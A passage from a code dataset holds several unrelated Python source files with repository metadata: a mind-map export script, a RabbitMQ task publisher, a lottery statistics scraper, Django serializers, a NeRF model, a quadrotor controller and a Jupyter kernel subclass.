node_info.text else f\" {node_info.text}\"\n line = f\"{node_intend}{node_number}{node_text}{node_time}\"\n\n if line:\n outfile.write(line)\n outfile.write(\"\\n\")\n\n child_number = 1\n for child in node_info.childs:\n write_to_file_skype_format(outfile, child, intend, f\"{node_number}{child_number}\", False)\n child_number += 1\n\n if write_start:\n outfile.write(\"```\\n\")\n\n\ndef write_to_file_in_redmine_format_table(outfile, node_info: NodeInfo, number: str or None, write_start: bool):\n if write_start:\n outfile.write(\"|_. № п/п |_. Задача |_. Оценка, в часах) |\\n\")\n\n node_number = \"\" if not number else f\"{number}.\"\n node_time = node_info.get_display_time().replace(',', '.')\n node_time = node_time if not node_time else f\"{node_time}\"\n\n if node_info.text:\n line = f\"|{node_number}|{node_info.text}|{node_time}|\"\n else:\n line = f\"|*Итого:*| |_ *{node_time}*|\"\n\n if line:\n outfile.write(line)\n outfile.write(\"\\n\")\n\n child_number = 1\n for child in node_info.childs:\n write_to_file_in_redmine_format_table(outfile, child, f\"{node_number}{child_number}\", False)\n child_number += 1\n\n\ndef write_to_file_in_redmine_format(outfile, node_info: NodeInfo, intend: str or None):\n if intend is None:\n node_intend = \"\"\n intend = \"#\"\n else:\n node_intend = intend\n intend += \"#\"\n\n node_time = node_info.get_display_time().replace(',', '.')\n node_time = node_time if not node_time else f\"{node_time}\"\n\n if node_info.text:\n line = f\"{node_intend} {node_info.text}\"\n\n if node_time:\n line += f\" ({node_time})\"\n else:\n line = f\"*Итого: {node_time}*\"\n\n if line:\n outfile.write(line)\n outfile.write(\"\\n\")\n\n child_number = 1\n for child in node_info.childs:\n write_to_file_in_redmine_format(outfile, child, intend)\n child_number += 1\n\n\ndef write_delimiter(outfile):\n outfile.write(\"\\n-----\\n\")\n\n\ndef process_free_mind_document(path):\n in_file_path = Path(path)\n root_node_info = get_nodes_information(in_file_path)\n root_node_info.update_time()\n\n out_file_path = Path(in_file_path.parent).joinpath(in_file_path.name).with_suffix('.txt')\n\n if out_file_path.exists():\n out_file_path.unlink()\n\n with out_file_path.open('wt', encoding=\"utf-8\") as outfile:\n outfile.write(f\"{out_file_path.with_suffix('').name}\\n\")\n write_delimiter(outfile)\n write_to_file_csv(outfile, root_node_info, None, None)\n write_delimiter(outfile)\n write_to_file_in_redmine_format(outfile, root_node_info, None)\n write_delimiter(outfile)\n write_to_file_in_redmine_format_table(outfile, root_node_info, None, True)\n write_delimiter(outfile)\n write_to_file_skype_format(outfile, root_node_info, None, None, True)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2 or (sys.argv[1] is None):\n print('Usage: python3 convert-mm-to-excel.py path')\n sys.exit(-1)\n\n argv_iterator = iter(sys.argv)\n next(argv_iterator)\n\n for arg in argv_iterator:\n process_free_mind_document(arg)\n", "repo_name": "BooTheHamster/scripts", "sub_path": "convert-mm-to-excel.py", "file_name": "convert-mm-to-excel.py", "file_ext": "py", "file_size_in_byte": 7261, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 91, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 92, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 92, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 215, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 219, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 237, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 239, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 241, "usage_type": "attribute"}]} {"seq_id": "37768941427", "text": "import pika\nimport sys\n\n\nconnection = pika.BlockingConnection(\n pika.ConnectionParameters('localhost'))\nchannel = connection.channel()\n\n# durable: 声明队列为持久化队列\nchannel.queue_declare(queue='task_queue', durable=True)\n\nmessage = ' '.join(sys.argv[1:]) or \"Hello World\"\nchannel.basic_publish(\n exchange='',\n routing_key='task_queue',\n body=message,\n # delivery_mode=2: 将消息设置为持久化消息\n properties=pika.BasicProperties(\n delivery_mode=2,) # make message persistent\n )\nprint(\"[x] Sent 'Hello World!'\")\nconnection.close()\n", "repo_name": "ahwi/PythonNote", "sub_path": "code/utils/rabbitMQ/code/workQueues/new_task.py", "file_name": "new_task.py", "file_ext": "py", "file_size_in_byte": 613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pika.BlockingConnection", "line_number": 5, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pika.BasicProperties", "line_number": 18, "usage_type": "call"}]} {"seq_id": "30095633129", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport random\n\nhtml = urlopen(\"https://dhlottery.co.kr/gameResult.do?method=statByNumber\")\nbsObject = BeautifulSoup(html, \"html.parser\")\n\ntheory_rate = 7/45 # 이론상 숫자가 나올 확률\ncurrent_round = int(bsObject.body.find(\"select\",{\"id\":\"edDrwNo\"}).find(\"option\",{\"selected\":\"\"}).text) # 총 시행횟수 (최신 회차)\ntheory_pop_count = int(current_round * theory_rate) # 이론상 숫자가 나와야 하는 횟수\n\ndata = bsObject.body.find_all(\"tbody\")[-1].text.split()\nPop_count = {} # 실제 숫자가 나온 횟수를 담을 딕셔너리\nnum = 1\n\nfor i in range(2,len(data),3):\n Pop_count[ num ] = int(data[i])\n num += 1\n\nsorted_Pop = sorted(Pop_count.items(),key=(lambda x:x[1]), reverse=True)\n\nmost_high = sorted_Pop[:6]\nmost_low = sorted_Pop[-6:]\nmiddle = sorted_Pop[ (int(len(sorted_Pop)/2)) - 3 : (int(len(sorted_Pop)/2)) + 3 ]\n\nprint(\"most high :\", most_high)\nprint(\"most low :\", most_low)\n\nrandom_seq = most_high + most_low\nrandom.shuffle(random_seq)\n\nrandom_seq = random_seq[:6]\nrandom_seq.sort()\n\nprint(\"shuffled :\", random_seq)", "repo_name": "asurava/lottery", "sub_path": "lottery.py", "file_name": "lottery.py", "file_ext": "py", "file_size_in_byte": 1127, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.request.urlopen", "line_number": 5, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 6, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 30, "usage_type": "call"}]} {"seq_id": "43539005062", "text": "from django.db.models import fields\nfrom rest_framework import serializers\nfrom .models import Order, OrderRecipe, Recipe\nfrom recipe.serializers import RecipeSerializer\n\n\nclass OrderRecipeSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = OrderRecipe\n fields = (\n 'id',\n 'recipe_id',\n 'order_id',\n 'quantity',\n \n )\n\nclass OrderSerializer(serializers.ModelSerializer):\n# recipe_list = RecipeSerializer(source='recipe', read_only=True, many=True)\n created = serializers.DateTimeField(format='%Y-%m-%d %H:%M:%S')\n class Meta:\n model = Order\n fields = (\n 'id',\n 'name',\n 'table',\n 'price',\n 'status',\n 'slug',\n 'deleted',\n 'created',\n )\n", "repo_name": "jacekchabielski/AppBar", "sub_path": "backend/order/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 841, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 7, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "models.OrderRecipe", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.fields", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 21, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 21, "usage_type": "name"}, {"api_name": "models.Order", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.fields", "line_number": 24, "usage_type": "name"}]} {"seq_id": "72710812711", "text": "import torch\nfrom torch import nn\nfrom models.sh import eval_sh\n\nclass Embedding(nn.Module):\n def __init__(self, in_channels, N_freqs, logscale=True):\n \"\"\"\n Defines a function that embeds x to (x, sin(2^k x), cos(2^k x), ...)\n in_channels: number of input channels (3 for both xyz and direction)\n \"\"\"\n super(Embedding, self).__init__()\n self.N_freqs = N_freqs\n self.in_channels = in_channels\n self.funcs = [torch.sin, torch.cos]\n self.out_channels = in_channels*(len(self.funcs)*N_freqs+1)\n\n if logscale:\n self.freq_bands = 2**torch.linspace(0, N_freqs-1, N_freqs)\n else:\n self.freq_bands = torch.linspace(1, 2**(N_freqs-1), N_freqs)\n\n def forward(self, x):\n \"\"\"\n Embeds x to (x, sin(2^k x), cos(2^k x), ...) \n Different from the paper, \"x\" is also in the output\n See https://github.com/bmild/nerf/issues/12\n\n Inputs:\n x: (B, self.in_channels)\n\n Outputs:\n out: (B, self.out_channels)\n \"\"\"\n out = [x]\n for freq in self.freq_bands:\n for func in self.funcs:\n out += [func(freq*x)]\n\n return torch.cat(out, -1)\n\n\nclass NeRF(nn.Module):\n def __init__(self,\n D=8, W=256,\n in_channels_xyz=63, in_channels_dir=27, \n skips=[4], deg=2):\n \"\"\"\n D: number of layers for density (sigma) encoder\n W: number of hidden units in each layer\n in_channels_xyz: number of input channels for xyz (3+3*10*2=63 by default)\n in_channels_dir: number of input channels for direction (3+3*4*2=27 by default)\n skips: add skip connection in the Dth layer\n \"\"\"\n super(NeRF, self).__init__()\n self.D = D\n self.W = W\n self.in_channels_xyz = in_channels_xyz\n self.in_channels_dir = in_channels_dir\n self.skips = skips\n self.deg = deg\n\n # xyz encoding layers\n for i in range(D):\n if i == 0:\n layer = nn.Linear(in_channels_xyz, W)\n elif i in skips:\n layer = nn.Linear(W+in_channels_xyz, W)\n else:\n layer = nn.Linear(W, W)\n layer = nn.Sequential(layer, nn.ReLU(True))\n setattr(self, f\"xyz_encoding_{i+1}\", layer)\n # self.xyz_encoding_final = nn.Linear(W, W)\n\n # # direction encoding layers\n # self.dir_encoding = nn.Sequential(\n # nn.Linear(W+in_channels_dir, W),\n # nn.ReLU(True))\n\n # output layers\n self.sigma = nn.Sequential(nn.Linear(W, W),\n nn.ReLU(True),\n nn.Linear(W, 1))\n # self.sh = nn.Linear(W, 3 * (self.deg + 1)**2)\n self.sh = nn.Sequential(nn.Linear(W, W),\n nn.ReLU(True),\n nn.Linear(W, 3 * (self.deg + 1)**2))\n\n def forward(self, x, dirs=None, sigma_sh_only=False):\n \"\"\"\n Encodes input (xyz+dir) to sh+sigma (not ready to render yet).\n For rendering this ray, please see rendering.py\n\n Inputs:\n x: (B, self.in_channels_xyz(+self.in_channels_dir))\n the embedded vector of position and direction\n sigma_only: whether to infer sigma only. If True,\n x is of shape (B, self.in_channels_xyz)\n\n Outputs:\n if sigma_ony:\n sigma: (B, 1) sigma\n else:\n out: (B, 4), sh and sigma\n \"\"\"\n input_xyz = x\n\n xyz_ = input_xyz\n for i in range(self.D):\n if i in self.skips:\n xyz_ = torch.cat([input_xyz, xyz_], -1)\n xyz_ = getattr(self, f\"xyz_encoding_{i+1}\")(xyz_)\n\n sigma = self.sigma(xyz_)\n sh = self.sh(xyz_)\n\n if sigma_sh_only:\n out = torch.cat([sigma, sh], -1)\n return out\n\n rgb = eval_sh(deg=self.deg, sh=sh.reshape(-1, 3, (self.deg + 1)**2), dirs=dirs) # sh: [..., C, (deg + 1) ** 2]\n rgb = torch.sigmoid(rgb)\n\n # if extract_time:\n out = torch.cat([sigma, rgb, sh], -1)\n return out", "repo_name": "dvlab-research/EfficientNeRF", "sub_path": "models/nerf.py", "file_name": "nerf.py", "file_ext": "py", "file_size_in_byte": 4267, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 146, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.sin", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.cos", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.linspace", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 117, "usage_type": "call"}, {"api_name": "models.sh.eval_sh", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 124, "usage_type": "call"}]} {"seq_id": "36009003691", "text": "import numpy as np\nfrom scipy.spatial.transform import Rotation\n\nclass SE3Control(object):\n \"\"\"\n\n \"\"\"\n def __init__(self, quad_params):\n \"\"\"\n Parameters:\n quad_params, dict with keys specified in rotorpy/vehicles\n \"\"\"\n\n # Quadrotor physical parameters.\n # Inertial parameters\n self.mass = quad_params['mass'] # kg\n self.Ixx = quad_params['Ixx'] # kg*m^2\n self.Iyy = quad_params['Iyy'] # kg*m^2\n self.Izz = quad_params['Izz'] # kg*m^2\n self.Ixy = quad_params['Ixy'] # kg*m^2\n self.Ixz = quad_params['Ixz'] # kg*m^2\n self.Iyz = quad_params['Iyz'] # kg*m^2\n\n # Frame parameters\n self.c_Dx = quad_params['c_Dx'] # drag coeff, N/(m/s)**2\n self.c_Dy = quad_params['c_Dy'] # drag coeff, N/(m/s)**2\n self.c_Dz = quad_params['c_Dz'] # drag coeff, N/(m/s)**2\n\n self.num_rotors = quad_params['num_rotors']\n self.rotor_pos = quad_params['rotor_pos']\n\n # Rotor parameters \n self.rotor_speed_min = quad_params['rotor_speed_min'] # rad/s\n self.rotor_speed_max = quad_params['rotor_speed_max'] # rad/s\n\n self.k_eta = quad_params['k_eta'] # thrust coeff, N/(rad/s)**2\n self.k_m = quad_params['k_m'] # yaw moment coeff, Nm/(rad/s)**2\n self.k_d = quad_params['k_d'] # rotor drag coeff, N/(m/s)\n self.k_z = quad_params['k_z'] # induced inflow coeff N/(m/s)\n self.k_flap = quad_params['k_flap'] # Flapping moment coefficient Nm/(m/s)\n\n # Motor parameters\n self.tau_m = quad_params['tau_m'] # motor reponse time, seconds\n\n # You may define any additional constants you like including control gains.\n self.inertia = np.array([[self.Ixx, self.Ixy, self.Ixz],\n [self.Ixy, self.Iyy, self.Iyz],\n [self.Ixz, self.Iyz, self.Izz]]) # kg*m^2\n self.g = 9.81 # m/s^2\n\n # Gains \n self.kp_pos = np.array([6.5,6.5,15])\n self.kd_pos = np.array([4.0, 4.0, 9])\n self.kp_att = 544\n self.kd_att = 46.64\n\n # Linear map from individual rotor forces to scalar thrust and vector\n # moment applied to the vehicle.\n k = self.k_m/self.k_eta\n\n # Below is an automated generation of the control allocator matrix. It assumes that all thrust vectors are aligned\n # with the z axis and that the \"sign\" of each rotor yaw moment alternates starting with positive for r1.\n self.f_to_TM = np.vstack((np.ones((1,self.num_rotors)),np.hstack([np.cross(self.rotor_pos[key],np.array([0,0,1])).reshape(-1,1)[0:2] for key in self.rotor_pos]), np.array([k*(-1)**i for i in range(self.num_rotors)]).reshape(1,-1)))\n self.TM_to_f = np.linalg.inv(self.f_to_TM)\n\n def update_ref(self, t, flat_output):\n \"\"\"\n This function receives the current time, and desired flat\n outputs. It returns the reference command inputs.\n Follows https://repository.upenn.edu/edissertations/547/\n\n Inputs:\n t, present time in seconds\n flat_output, a dict describing the present desired flat outputs with keys\n x, position, m\n x_dot, velocity, m/s\n x_ddot, acceleration, m/s**2 a\n x_dddot, jerk, m/s**3 a_dot\n x_ddddot, snap, m/s**4 a_ddot\n yaw, yaw angle, rad\n yaw_dot, yaw rate, rad/s\n yaw_ddot, yaw acceleration, rad/s**2 #required! not the same if computing command using controller\n\n Outputs:\n control_input, a dict describing the present computed control inputs with keys\n cmd_motor_speeds, rad/s\n cmd_thrust, N (for debugging and laboratory; not used by simulator)\n cmd_moment, N*m (for debugging; not used by simulator)\n cmd_q, quaternion [i,j,k,w] (for laboratory; not used by simulator)\n cmd_w, angular velocity\n cmd_a, angular acceleration\n \"\"\"\n cmd_motor_speeds = np.zeros((4,))\n cmd_q = np.zeros((4,))\n\n def normalize(x):\n \"\"\"Return normalized vector.\"\"\"\n return x / np.linalg.norm(x)\n\n # def vee_map(S):\n # \"\"\"Return vector corresponding to given skew symmetric matrix.\"\"\"\n # return np.array([-S[1,2], S[0,2], -S[0,1]])\n\n # Desired force vector.\n t = flat_output['x_ddot']+ np.array([0, 0, self.g])\n b3 = normalize(t) \n F_des = self.mass * (t)# this is vectorized\n\n # Desired thrust is force projects onto b3 axis.\n # R = Rotation.from_quat(state['q']).as_matrix() #this is where most of the problem is, there is no error in rotation!\n # b3 = R @ np.array([0, 0, 1])\n u1 = np.dot(F_des, b3)\n\n # Desired orientation to obtain force vector.\n b3_des = normalize(F_des) #b3_des and b3 are the same\n yaw_des = flat_output['yaw']\n c1_des = np.array([np.cos(yaw_des), np.sin(yaw_des), 0])\n b2_des = normalize(np.cross(b3_des, c1_des))\n b1_des = np.cross(b2_des, b3_des)\n R_des = np.stack([b1_des, b2_des, b3_des]).T\n\n R = R_des# assume we have perfect tracking on rotation\n # Orientation error.\n # S_err = 0.5 * (R_des.T @ R - R.T @ R_des)\n # att_err = vee_map(S_err)\n \n # Following section follows Mellinger paper to compute reference angular velocity\n dot_u1 = np.dot(b3,flat_output['x_dddot'])\n hw = self.mass/u1*(flat_output['x_dddot']-dot_u1*b3)\n p = np.dot(-hw, b2_des)\n q = np.dot(hw, b1_des)\n w_des = np.array([0, 0, flat_output['yaw_dot']])\n r = np.dot(w_des, b3_des)\n Omega = np.array([p, q, r])\n\n wwu1b3 = np.cross(Omega, np.cross(Omega, u1*b3))\n ddot_u1 = np.dot(b3, self.mass*flat_output['x_ddddot']) - np.dot(b3, wwu1b3)\n ha = 1.0/u1*(self.mass*flat_output['x_ddddot'] - ddot_u1*b3 - 2*np.cross(Omega,dot_u1*b3) - wwu1b3)\n p_dot = np.dot(-ha, b2_des)\n q_dot = np.dot(ha, b1_des)\n np.cross(Omega, Omega)\n r_dot = flat_output['yaw_ddot'] *np.dot(np.array([0,0,1.0]), b3_des) #uniquely need yaw_ddot\n Alpha = np.array([p_dot, q_dot, r_dot]) \n\n\n\n u2 = self.inertia @ Alpha + np.cross(Omega, self.inertia @ Omega)\n # print(u1,u2)\n TM = np.array([u1, u2[0], u2[1], u2[2]])\n cmd_motor_forces = self.TM_to_f @ TM\n cmd_motor_speeds = cmd_motor_forces / self.k_eta\n cmd_motor_speeds = np.sign(cmd_motor_speeds) * np.sqrt(np.abs(cmd_motor_speeds))\n\n cmd_q = Rotation.from_matrix(R_des).as_quat()\n\n\n control_input = {'cmd_motor_speeds':cmd_motor_speeds,\n 'cmd_thrust':u1,\n 'cmd_moment':u2,\n 'cmd_q':cmd_q,\n 'cmd_w':Omega,\n 'cmd_a':Alpha}\n return control_input\n \n def update(self, t, state, flat_output):\n \"\"\"\n This function receives the current time, true state, and desired flat\n outputs. It returns the command inputs.\n\n Inputs:\n t, present time in seconds\n state, a dict describing the present state with keys\n x, position, m\n v, linear velocity, m/s\n q, quaternion [i,j,k,w]\n w, angular velocity, rad/s\n flat_output, a dict describing the present desired flat outputs with keys\n x, position, m\n x_dot, velocity, m/s\n x_ddot, acceleration, m/s**2\n x_dddot, jerk, m/s**3\n x_ddddot, snap, m/s**4\n yaw, yaw angle, rad\n yaw_dot, yaw rate, rad/s\n\n Outputs:\n control_input, a dict describing the present computed control inputs with keys\n cmd_motor_speeds, rad/s\n cmd_thrust, N \n cmd_moment, N*m\n cmd_q, quaternion [i,j,k,w]\n \"\"\"\n cmd_motor_speeds = np.zeros((4,))\n cmd_thrust = 0\n cmd_moment = np.zeros((3,))\n cmd_q = np.zeros((4,))\n\n def normalize(x):\n \"\"\"Return normalized vector.\"\"\"\n return x / np.linalg.norm(x)\n\n def vee_map(S):\n \"\"\"Return vector corresponding to given skew symmetric matrix.\"\"\"\n return np.array([-S[1,2], S[0,2], -S[0,1]])\n\n # Desired force vector.\n pos_err = state['x'] - flat_output['x']\n dpos_err = state['v'] - flat_output['x_dot']\n F_des = self.mass * (- self.kp_pos*pos_err\n - self.kd_pos*dpos_err\n + flat_output['x_ddot']\n + np.array([0, 0, self.g]))\n\n # Desired thrust is force projects onto b3 axis.\n R = Rotation.from_quat(state['q']).as_matrix()\n b3 = R @ np.array([0, 0, 1])\n u1 = np.dot(F_des, b3)\n\n # Desired orientation to obtain force vector.\n b3_des = normalize(F_des)\n yaw_des = flat_output['yaw']\n c1_des = np.array([np.cos(yaw_des), np.sin(yaw_des), 0])\n b2_des = normalize(np.cross(b3_des, c1_des))\n b1_des = np.cross(b2_des, b3_des)\n R_des = np.stack([b1_des, b2_des, b3_des]).T\n\n # Orientation error.\n S_err = 0.5 * (R_des.T @ R - R.T @ R_des)\n att_err = vee_map(S_err)\n\n # Angular velocity error (this is oversimplified).\n w_des = np.array([0, 0, flat_output['yaw_dot']])\n w_err = state['w'] - w_des\n\n # Angular control; vector units of N*m.\n u2 = self.inertia @ (-self.kp_att*att_err - self.kd_att*w_err)\n\n # Compute motor speeds. Avoid taking square root of negative numbers.\n TM = np.array([u1, u2[0], u2[1], u2[2]])\n cmd_motor_forces = self.TM_to_f @ TM\n cmd_motor_speeds = cmd_motor_forces / self.k_eta\n cmd_motor_speeds = np.sign(cmd_motor_speeds) * np.sqrt(np.abs(cmd_motor_speeds))\n\n cmd_thrust = u1\n cmd_moment = u2\n cmd_q = Rotation.from_matrix(R_des).as_quat()\n\n control_input = {'cmd_motor_speeds':cmd_motor_speeds,\n 'cmd_thrust':cmd_thrust,\n 'cmd_moment':cmd_moment,\n 'cmd_q':cmd_q}\n return control_input", "repo_name": "spencerfolk/rotorpy", "sub_path": "rotorpy/controllers/quadrotor_control.py", "file_name": "quadrotor_control.py", "file_ext": "py", "file_size_in_byte": 10649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 152, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_matrix", "line_number": 154, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 154, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 212, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 215, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 215, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 242, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_matrix", "line_number": 246, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 246, "usage_type": "name"}]} {"seq_id": "41508622556", "text": "import re\nfrom ipykernel.ipkernel import IPythonKernel\nfrom .shell import OverrideShell\n\n\nclass NowKernel(IPythonKernel):\n\n def __init__(self, **kwargs):\n super(NowKernel, self).__init__(**kwargs)\n OverrideShell(self.shell)\n\n def do_execute(self, code, silent, store_history=True,\n user_expressions=None, allow_stdin=False):\n reply_content = super(NowKernel, self).do_execute(\n code, silent, store_history=store_history,\n user_expressions=user_expressions, allow_stdin=allow_stdin)\n return reply_content\n", "repo_name": "gems-uff/noworkflow", "sub_path": "capture/noworkflow/kernel/nowkernel.py", "file_name": "nowkernel.py", "file_ext": "py", "file_size_in_byte": 578, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 112, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ipykernel.ipkernel.IPythonKernel", "line_number": 6, "usage_type": "name"}, {"api_name": "shell.OverrideShell", "line_number": 10, "usage_type": "call"}]} {"seq_id": "16636812517", "text": "# -*- coding: 